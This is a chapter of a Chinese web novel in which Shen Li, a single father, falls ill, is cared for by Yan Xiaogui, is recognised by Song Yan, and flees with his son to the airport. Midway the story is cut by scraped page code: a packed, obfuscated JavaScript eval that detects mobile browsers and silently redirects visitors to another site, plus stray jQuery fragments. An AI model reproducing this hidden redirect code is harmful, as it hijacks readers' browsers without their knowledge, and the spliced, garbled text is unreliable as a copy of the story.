第六节


    月朗星稀，有阵阵凉风袭来。沈黎坐在花坛边，脸上火烧火燎的热度终于降了下去。他掏出烟盒，一根接一根地抽。


    他觉得宋砚就是他生命中的克星。他原本富二代做得好好的，自从沾上了宋砚，公司破产，意外怀孕，退学打工，种种苦难接踵而至。好不容易过上了正常人的生活，宋砚该死的又出现了，还无端指着他羞辱一通。


    沈黎嚼着烟头，现在才回过味儿来，自己怎么就这么窝囊。宋砚几乎是指着他的鼻子骂他心怀不轨，骂他出卖自己，他都不敢反驳。


    “唉！”沈黎深深地叹出一口气，起身上了自己的车。不管怎样，他总算是有了正经的理由，从今往后可以光明正大地远离宋砚了。对他来说也不算是坏事。


    晚上十一点，沈黎开车回到家。墨墨早早便睡下了，他先去卧室看了眼孩子，给他掖了掖被角。


    身上那股劣质的香水味让他作呕，时时刻刻提醒他今晚所遭受的羞辱。他厌恶的脱掉衣服扔进垃圾桶，在淋浴下冲洗着自己的身体。


    不知在浴室待了多久，直到全身的肌肤发红，他才从浴室中走出来。手机发出嘀嘀的提示音，他打开看了一眼，全部是微博提醒。那条微博所引起的热度仍然没有散去，但是他懒得理会了，爱谁谁去。


    睡了一整夜，第二天早上是墨墨叫醒了沈黎。


    “爸爸。张阿姨做好早餐了，快起床。”墨墨站在床边，小手握住爸爸的大手，边晃边喊道。


    沈黎一点点睁开眼睛，看到床边的儿子，有些抱歉地说道，“爸爸睡过头了。现在就起来给你做饭。”


    “爸爸。你睡糊涂了。今天是张阿姨做饭。”


    “哦哦。”沈黎拍着脑袋，人还有些发懵。


    墨墨心疼爸爸在外面上班辛苦，又把沈黎推倒在床上，小大人一般说道，“爸爸再睡一会儿吧。今天张阿姨送我上学。”


    “没问题吗？”沈黎躺回床上，扯出一个不太难看的笑容。


    墨墨拍着小胸脯保证没问题。


    沈黎在被窝里多赖了两个钟头，越睡头越沉，身上软绵绵的，浑身没有力气。明明想要从床上爬起来，身上却仿佛压了千斤巨石一般。人也是昏昏沉沉的，一会儿清醒，一会儿又沉沉地睡了过去。


    ……


    等沈黎再次睁开眼睛，他发现自己躺在了医院的病床上。病房里只有他一个人，他扶着床坐起来时弄到了手背上的针头，有刺痛感传来。


    对面的卫生间有冲水的声音，稍后，门锁转动，燕小归从里面走出来。


    “你醒了？”燕小归走到床边，手心在他的额头上探了下，说道，“烧终于退了。你知不知道你烧到39度多，差点儿烧抽过去？”


    沈黎只觉得口唇干涩，他舔了舔嘴唇，道，“我想下床去倒杯水。”


    燕小归皱起眉头，“等着！我去给你倒。”


    “谢谢。”沈黎端起杯子，水缓缓地流过喉咙，吞咽时有痛感。他喝完一杯水，精神清明了许多，眼睛落在燕小归的身上。


    燕小归没有卸妆，妆看起来有些花了，而他身上穿着的是剧组的戏服。沈黎见他在拍戏时穿过这一套白色的西装。


    燕小归把水杯接过来，没好气地问他，“还喝吗？”


    沈黎摇摇头。


    燕小归将水杯放回桌上，抱胸坐在旁边的沙发上。


    沈黎看他心情不是很爽的样子，小心翼翼地对他说道，“谢谢你送我来医院。我现在没事了，你有事的话可以先走。”


    燕小归斜了他一眼，冷哼道，“你确实得谢谢我。要不是我一整天都在给你打电话，你家阿姨就不知道你在房间晕倒了。为了送你来医院，我戏都没拍成。你以为一句谢谢就完事了吗？”


    沈黎咽了口唾沫，嗓子又开始干疼了。换了常人做好事，大概率会说别放在心上啊，不要紧。可燕小归却把话说得如此直白，让沈黎不知该如何迂回。但燕小归确实帮了他，他欠了人家人情。


    沈黎问他，“你白天给我打电话，是有什么重要事情吗？”


    “我想问问你为什么不来剧组送饭？”燕小归理所当然地问道。


    这个问题让沈黎突然想起了宋砚给的警告。宋砚让他远离燕小归，因为他这种人不配跟他们那样的人来往。沈黎的心情一瞬间沉入谷底，他低着头不敢去看燕小归的眼睛，苍白地解释道，“我的戏杀青了，不会再进组了。”


    燕小归急忙道，“我不是说给你加戏了吗？”


    “我不想拍了。”


    “为什么？别人求之不得的事情。”


    “就是不想拍了。娱乐圈我也不想呆了。我觉得自己不适合这种环境，以后可能会去干别的。”这是沈黎在昨晚抽烟时做的决定，离宋砚远远的，跟这个人再无瓜葛。毕竟在宋砚的眼中，他不是什么正经人。万一再被宋砚发觉四年前的真相，发现沈惜墨的存在，他怕后果是他无法承担的。他现在唯一能做的就是逃离。


    燕小归觉得难以置信，瞪着眼睛问他，“你有病吧。说不拍就不拍了。”


    沈黎去意已决，他感激燕小归这段日子的照顾。可因为燕小归跟宋砚的亲属关系，他不想再跟燕小归扯上更多的关系。


    燕小归本还想再说些什么，手机响了起来，他接完电话就匆匆离开了。


    第二天早上，沈黎办了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398162|168651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出院手续。住院费是燕小归垫付的，沈黎取了现金装好，打算当面把钱还给燕小归。他开车去了剧组，在停车场给燕小归打电话，约他在停车场见一面。燕小归那边闹哄哄的，听见他说道，“还在拍戏。你等着我。”


    沈黎不仅是为了还钱，也是为了当面道谢。他在车里等了快一个小时，燕小归一直没有来，打电话也不接。


    车里闷得厉害，他所幸下了车，站在树下乘凉。


    时间一分一秒地流逝。沈黎从下午一点等到五点，始终没能等来燕小归的身影。他内心挣扎了片刻，决定让剧组的工作人员帮忙转交。他拿着出入证进了片场，找了一名平日里关系不错的工作人员，拜托人家帮忙。


    对方答应帮忙后，沈黎便离开了剧组。


    时近黄昏，沈黎坐进车里，驾驶车准备离开。有一道人影匆匆来到，从车前方绕到驾驶位，敲了敲他的车窗。


    “下车。”宋砚阴沉着一张俊脸，声音冷冷的命令道。


    沈黎隔着车窗看了眼来人，嗅出一丝危险的味道。


    宋砚见他呆坐在驾驶位上，眯起眼睛，几乎是咬牙切齿地说道，“沈玉溪，我叫你下车！”


    沈黎的脑子“嗡”的一声，炸了！


    他被认出来了！宋砚认出他了！怎么认出来的！现在该怎么办？


    沈黎连嘴唇都是哆嗦的，他不敢再看宋砚可怕的表情，几乎是本能地发动车子，用最快的速度逃离。


    他一路开着车回到家里，此时已经没有心思去想宋砚到底是怎么认出他的。他用最快的速度搜罗了家中值钱的物件，简单收拾了几套衣服。


    墨墨天真地问他，“爸爸，我们要去哪里？”


    沈黎看着儿子漂亮的脸蛋，竟然心生恐惧。因为这孩子跟宋砚长得实在是太像了。他对墨墨说道，“我们要离开这座城市。”


    “那我们还回来吗？”墨墨的小脸上有着疑惑和不舍。


    沈黎在网上订了最早的班机，带着墨墨去了机场。父子俩在机场吃了高价饭，沈黎跟墨墨解释，“我们不回来了。这次要走得远远的。”


    “爸爸。我还没有跟幼儿园的小朋友告别。”


    沈黎摸摸儿子的脑袋，“对不起。爸爸也是迫不得已。”


    墨墨顺势将小脑袋靠在沈黎的胸口，小脸上露出似懂非懂的表情。他从出生起就只有爸爸一个亲人，爸爸去哪儿，他便去哪儿。


    距离登机时间还早，沈黎把墨墨抱在怀里，“你先睡会儿。等会儿上飞机了爸爸再叫醒你。”


    墨墨窝在爸爸的怀里，没多久便睡着了。沈黎关注着航班起飞的信息，心里盼望着飞机能够早一点儿起飞。